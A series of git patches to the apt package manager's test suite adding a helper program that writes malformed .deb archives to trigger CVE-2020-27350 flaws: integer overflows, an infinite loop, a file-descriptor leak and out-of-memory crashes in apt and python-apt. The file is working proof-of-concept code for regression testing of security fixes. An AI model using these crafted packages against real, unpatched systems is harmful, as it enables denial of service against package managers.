From 66962a66970a1f816375620c89de7117a470a6af Mon Sep 17 00:00:00 2001 From: Julian Andres Klode Date: Mon, 19 Oct 2020 13:22:33 +0200 Subject: CVE-2020-27350: arfile: Integer overflow in parsing GHSL-2020-169: This first hunk adds a check that we have more files left to read in the file than the size of the member, ensuring that (a) the number is not negative, which caused the crash here and (b) ensures that we similarly avoid other issues with trying to read too much data. GHSL-2020-168: Long file names are encoded by a special marker in the filename and then the real filename is part of what is normally the data. We did not check that the length of the file name is within the length of the member, which means that we got a overflow later when subtracting the length from the member size to get the remaining member size. The file createdeb-lp1899193.cc was provided by GitHub Security Lab and reformatted using apt coding style for inclusion in the test case, both of these issues have an automated test case in test/integration/test-ubuntu-bug-1899193-security-issues. LP: #1899193 --- .../interactive-helper/createdeb-cve-2020-27350.cc | 235 +++++++++++++++++++++ 1 file changed, 235 insertions(+) create mode 100644 test/interactive-helper/createdeb-cve-2020-27350.cc (limited to 'test/interactive-helper/createdeb-cve-2020-27350.cc') diff --git a/test/interactive-helper/createdeb-cve-2020-27350.cc b/test/interactive-helper/createdeb-cve-2020-27350.cc new file mode 100644 index 000000000..9103c2137 --- /dev/null +++ b/test/interactive-helper/createdeb-cve-2020-27350.cc @@ -0,0 +1,235 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +struct Header +{ + char Name[16]; + char MTime[12]; + char UID[6]; + char GID[6]; + char Mode[8]; + char Size[10]; + char Magic[2]; +}; + +struct TarHeader +{ + char Name[100]; + char Mode[8]; + char UserID[8]; + char GroupID[8]; + char Size[12]; + char MTime[12]; + char Checksum[8]; + char LinkFlag; + char LinkName[100]; + char MagicNumber[8]; + char UserName[32]; + char GroupName[32]; + char Major[8]; + char Minor[8]; +}; + +// Call `write` and check the result. +static void write_chk(int fd, const void *buf, size_t count) +{ + const ssize_t wr = write(fd, buf, count); + if (wr < 0) + { + const int err = errno; + fprintf(stderr, "Write failed: %s\n", strerror(err)); + exit(EXIT_FAILURE); + } + if ((size_t)wr != count) + { + fprintf(stderr, "Incomplete write.\n"); + exit(EXIT_FAILURE); + } +} + +// Triggers a negative integer overflow at https://git.launchpad.net/ubuntu/+source/apt/tree/apt-pkg/contrib/arfile.cc?h=applied/ubuntu/focal-updates&id=4c264e60b524855b211751e1632ba48526f6b44d#n116: +// +// Memb->Size -= Len; +// +// Due to the integer overflow, the value of Memb->Size is 0xFFFFFFFFFFFFFFFF. +// This leads to an out-of-memory error at https://git.launchpad.net/ubuntu/+source/python-apt/tree/python/arfile.cc?h=applied/ubuntu/focal-updates&id=0f7cc93acdb51d943114f1cd79002288c4ca4d24#n602: +// +// char* value = new char[member->Size]; +// +// The out-of-memory error causes aptd to crash. +static void createdeb_crash(const int fd) +{ + // Magic number + static const char *magic = "!\n"; + write_chk(fd, magic, strlen(magic)); + + struct Header h; + memset(&h, 0, sizeof(h)); + + memcpy(h.Name, "control.tar ", sizeof(h.Name)); + write_chk(fd, &h, sizeof(h)); + + memset(&h, 0, sizeof(h)); + memcpy(h.Name, "data.tar ", sizeof(h.Name)); + write_chk(fd, &h, sizeof(h)); + + memset(&h, 0, sizeof(h)); + memcpy(h.Name, "#1/13 ", sizeof(h.Name)); + strcpy(h.Size, "12"); + write_chk(fd, &h, sizeof(h)); + write_chk(fd, "debian-binary", 13); +} + +// Triggers an infinite loop in `ARArchive::LoadHeaders()`. +// The bug is due to the use of `strtoul` at https://git.launchpad.net/ubuntu/+source/apt/tree/apt-pkg/contrib/strutl.cc?h=applied/ubuntu/focal-updates&id=4c264e60b524855b211751e1632ba48526f6b44d#n1169: +// +// Res = strtoul(S,&End,Base); +// +// The problem is that `strtoul` accepts negative numbers. We exploit that here by setting the size string to "-60". +static void createdeb_loop(const int fd) +{ + // Magic number + static const char *magic = "!\n"; + write_chk(fd, magic, strlen(magic)); + + struct Header h; + memset(&h, 0, sizeof(h)); + + memcpy(h.Name, "#1/20 ", sizeof(h.Name)); + strcpy(h.Size, "-60"); + write_chk(fd, &h, sizeof(h)); + + char buf[20]; + memset(buf, 0, sizeof(buf)); + write_chk(fd, buf, sizeof(buf)); +} + +// Leaks a file descriptor in `debfile_new()`: +// +// https://git.launchpad.net/python-apt/tree/python/arfile.cc?h=2.0.0#n588 +// +// If the .deb file is invalid then the function returns without deleting +// `self`, which means that the file descriptor isn't closed. +static void createdeb_leakfd(const int fd) +{ + // Magic number + static const char *magic = "!\n"; + write_chk(fd, magic, strlen(magic)); + + struct Header h; + memset(&h, 0, sizeof(h)); + + memset(&h, 0, sizeof(h)); + memcpy(h.Name, "data.tar ", sizeof(h.Name)); + write_chk(fd, &h, sizeof(h)); +} + +static void set_checksum(unsigned char block[512]) +{ + struct TarHeader *tar = (struct TarHeader *)&block[0]; + memset(tar->Checksum, ' ', sizeof(tar->Checksum)); + uint32_t sum = 0; + for (int i = 0; i < 512; i++) + { + sum += block[i]; + } + snprintf(tar->Checksum, sizeof(tar->Checksum), "%o", sum); +} + +// This does not trigger a vulnerability. It is just a basis for exploration. +static void createdeb_test(const int fd) +{ + // Magic number + static const char *magic = "!\n"; + write_chk(fd, magic, strlen(magic)); + + struct Header h; + + memset(&h, 0, sizeof(h)); + memcpy(h.Name, "data.tar ", sizeof(h.Name)); + write_chk(fd, &h, sizeof(h)); + + memset(&h, 0, sizeof(h)); + memcpy(h.Name, "debian-binary ", sizeof(h.Name)); + strcpy(h.Size, "4"); + write_chk(fd, &h, sizeof(h)); + static const char *debian_binary = "2.0\n"; + write_chk(fd, debian_binary, strlen(debian_binary)); + + static const char *control = + "Architecture: all\n" + "Package: kevsh\n\n"; + memset(&h, 0, sizeof(h)); + memcpy(h.Name, "control.tar ", sizeof(h.Name)); + snprintf(h.Size, sizeof(h.Size), "%ld", (size_t)512 + 512); + write_chk(fd, &h, sizeof(h)); + + unsigned char block[512]; + memset(block, 0, sizeof(block)); + struct TarHeader *tar = (struct TarHeader *)&block[0]; + strcpy(tar->Name, "control"); + strcpy(tar->Mode, "644"); + snprintf(tar->Size, sizeof(tar->Size), "%lo", strlen(control)); + set_checksum(block); + write_chk(fd, block, sizeof(block)); + + memset(block, 0, sizeof(block)); + strcpy((char *)block, control); + write_chk(fd, block, sizeof(block)); +} + +int main(int argc, char *argv[]) +{ + if (argc != 3) + { + const char *progname = argc > 0 ? argv[0] : "a.out"; + fprintf( + stderr, + "usage: %s \n" + "modes: loop, segv, leakfd\n", + progname); + return EXIT_FAILURE; + } + + const char *mode = argv[1]; + const char *filename = argv[2]; + + const int fd = open(filename, O_CREAT | O_WRONLY | O_TRUNC, 00644); + if (fd < 0) + { + const int err = errno; + fprintf(stderr, "Could not open %s: %s\n", filename, strerror(err)); + return EXIT_FAILURE; + } + + if (strcmp(mode, "crash") == 0) + { + createdeb_crash(fd); + } + else if (strcmp(mode, "loop") == 0) + { + createdeb_loop(fd); + } + else if (strcmp(mode, "leakfd") == 0) + { + createdeb_leakfd(fd); + } + else if (strcmp(mode, "test") == 0) + { + createdeb_test(fd); + } + else + { + fprintf(stderr, "Mode not recognized: %s\n", mode); + } + + close(fd); + return EXIT_SUCCESS; +} -- cgit v1.2.3 From 29581d103fc85d988c1f8a9c995ef9a6bb600500 Mon Sep 17 00:00:00 2001 From: Julian Andres Klode Date: Fri, 4 Dec 2020 12:37:19 +0100 Subject: tarfile: OOM hardening: Limit size of long names/links to 1 MiB Tarballs have long names and long link targets structured by a special tar header with a GNU extension followed by the actual content (padded to 512 bytes). Essentially, think of a name as a special kind of file. The limit of a file size in a header is 12 bytes, aka 10**12 or 1 TB. While this works OK-ish for file content that we stream to extractors, we need to copy file names into memory, and this opens us up to an OOM DoS attack. Limit the file name size to 1 MiB, as libarchive does, to make things safer. --- .../interactive-helper/createdeb-cve-2020-27350.cc | 84 +++++++++++++++++++++- 1 file changed, 83 insertions(+), 1 deletion(-) (limited to 'test/interactive-helper/createdeb-cve-2020-27350.cc') diff --git a/test/interactive-helper/createdeb-cve-2020-27350.cc b/test/interactive-helper/createdeb-cve-2020-27350.cc index 9103c2137..7c58eb9df 100644 --- a/test/interactive-helper/createdeb-cve-2020-27350.cc +++ b/test/interactive-helper/createdeb-cve-2020-27350.cc @@ -142,8 +142,82 @@ static void set_checksum(unsigned char block[512]) } snprintf(tar->Checksum, sizeof(tar->Checksum), "%o", sum); } +static void base256_encode(char *Str, unsigned long long Num, unsigned int Len) +{ + Str += Len; + while (Len-- > 0) { + *--Str = static_cast(Num & 0xff); + Num >>= 8; + } + + *Str |= 0x80; // mark as base256 +} + +// Create a deb with a control.tar that contains a too large file or link name (GNU extension) +static void createdeb_bigtarfilelength(const int fd, int flag, unsigned long long size = 64llu * 1024 * 1024 + 1) +{ + // Magic number + static const char *magic = "!\n"; + write_chk(fd, magic, strlen(magic)); + + struct Header h; + memset(&h, ' ', sizeof(h)); + memcpy(h.Name, "debian-binary/ ", sizeof(h.Name)); + h.MTime[0] = '0'; + h.UID[0] = '0'; + h.GID[0] = '0'; + memcpy(h.Mode, "644", 3); + h.Size[0] = '0'; + memcpy(h.Magic, "`\n", 2); + + write_chk(fd, &h, sizeof(h)); + + memset(&h, ' ', sizeof(h)); + memcpy(h.Name, "data.tar/ ", sizeof(h.Name)); + h.MTime[0] = '0'; + h.UID[0] = '0'; + h.GID[0] = '0'; + memcpy(h.Mode, "644", 3); + h.Size[0] = '0'; + memcpy(h.Magic, "`\n", 2); + + write_chk(fd, &h, sizeof(h)); + + memset(&h, ' ', sizeof(h)); + memcpy(h.Name, "control.tar/ ", sizeof(h.Name)); + h.MTime[0] = '0'; + h.UID[0] = '0'; + h.GID[0] = '0'; + memcpy(h.Mode, "644", 3); + memcpy(h.Size, "512", 3); + memcpy(h.Magic, "`\n", 2); + + write_chk(fd, &h, sizeof(h)); + union + { + struct TarHeader t; + unsigned char buf[512]; + } t; + for (unsigned int i = 0; i < sizeof(t.buf); i++) + t.buf[i] = '7'; + memcpy(t.t.Name, "control\0 ", 16); + memcpy(t.t.UserName, "userName", 8); + memcpy(t.t.GroupName, "thisIsAGroupNamethisIsAGroupName", 32); + t.t.LinkFlag = flag; + base256_encode(t.t.Size, size, sizeof(t.t.Size)); + memset(t.t.Checksum, ' ', sizeof(t.t.Checksum)); + + unsigned long sum = 0; + for (unsigned int i = 0; i < sizeof(t.buf); i++) + sum += t.buf[i]; + + int written = sprintf(t.t.Checksum, "%lo", sum); + for (unsigned int i = written; i < sizeof(t.t.Checksum); i++) + t.t.Checksum[i] = ' '; + + write_chk(fd, t.buf, sizeof(t.buf)); +} -// This does not trigger a vulnerability. It is just a basis for exploration. static void createdeb_test(const int fd) { // Magic number @@ -221,6 +295,14 @@ int main(int argc, char *argv[]) { createdeb_leakfd(fd); } + else if (strcmp(mode, "long-name") == 0) + { + createdeb_bigtarfilelength(fd, 'L'); + } + else if (strcmp(mode, "long-link") == 0) + { + createdeb_bigtarfilelength(fd, 'K'); + } else if (strcmp(mode, "test") == 0) { createdeb_test(fd); -- cgit v1.2.3 From ed786183bfe9813cf9bc603de0a2beed3e0d0e31 Mon Sep 17 00:00:00 2001 From: Julian Andres Klode Date: Sat, 5 Dec 2020 20:17:56 +0100 Subject: CVE-2020-27350: debfile: integer overflow: Limit control size to 64 MiB Like the code in arfile.cc, MemControlExtract also has buffer overflows, in code allocating memory for parsing control files. Specify an upper limit of 64 MiB for control files to both protect against the Size overflowing (we allocate Size + 2 bytes), and protect a bit against control files consisting only of zeroes. --- test/interactive-helper/createdeb-cve-2020-27350.cc | 4 ++++ 1 file changed, 4 insertions(+) (limited to 'test/interactive-helper/createdeb-cve-2020-27350.cc') diff --git a/test/interactive-helper/createdeb-cve-2020-27350.cc b/test/interactive-helper/createdeb-cve-2020-27350.cc index 7c58eb9df..af049d4e8 100644 --- a/test/interactive-helper/createdeb-cve-2020-27350.cc +++ b/test/interactive-helper/createdeb-cve-2020-27350.cc @@ -303,6 +303,10 @@ int main(int argc, char *argv[]) { createdeb_bigtarfilelength(fd, 'K'); } + else if (strcmp(mode, "long-control") == 0) + { + createdeb_bigtarfilelength(fd, '0'); + } else if (strcmp(mode, "test") == 0) { createdeb_test(fd); -- cgit v1.2.3 From 0e3b54db6d7ec7c7baf151c812b77042927cf44e Mon Sep 17 00:00:00 2001 From: Julian Andres Klode Date: Sat, 5 Dec 2020 19:55:30 +0100 Subject: CVE-2020-27350: tarfile: integer overflow: Limit tar items to 128 GiB The integer overflow was detected by DonKult who added a check like this: (std::numeric_limits::max() - (2 * sizeof(Block))) Which deals with the code as is, but also still is a fairly big limit, and could become fragile if we change the code. Let's limit our file sizes to 128 GiB, which should be sufficient for everyone. Original comment by DonKult: The code assumes that it can add sizeof(Block)-1 to the size of the item later on, but if we are close to a 64bit overflow this is not possible. Fixing this seems too complex compared to just ensuring there is enough room left given that we will have a lot more problems the moment we will be acting on files that large as if the item is that large, the (valid) tar including it probably doesn't fit in 64bit either. --- test/interactive-helper/createdeb-cve-2020-27350.cc | 4 ++++ 1 file changed, 4 insertions(+) (limited to 'test/interactive-helper/createdeb-cve-2020-27350.cc') diff --git a/test/interactive-helper/createdeb-cve-2020-27350.cc b/test/interactive-helper/createdeb-cve-2020-27350.cc index af049d4e8..8b9619469 100644 --- a/test/interactive-helper/createdeb-cve-2020-27350.cc +++ b/test/interactive-helper/createdeb-cve-2020-27350.cc @@ -307,6 +307,10 @@ int main(int argc, char *argv[]) { createdeb_bigtarfilelength(fd, '0'); } + else if (strcmp(mode, "too-long-control") == 0) + { + createdeb_bigtarfilelength(fd, '0', 128llu * 1024 * 1024 * 1024 + 1); + } else if (strcmp(mode, "test") == 0) { createdeb_test(fd); -- cgit v1.2.3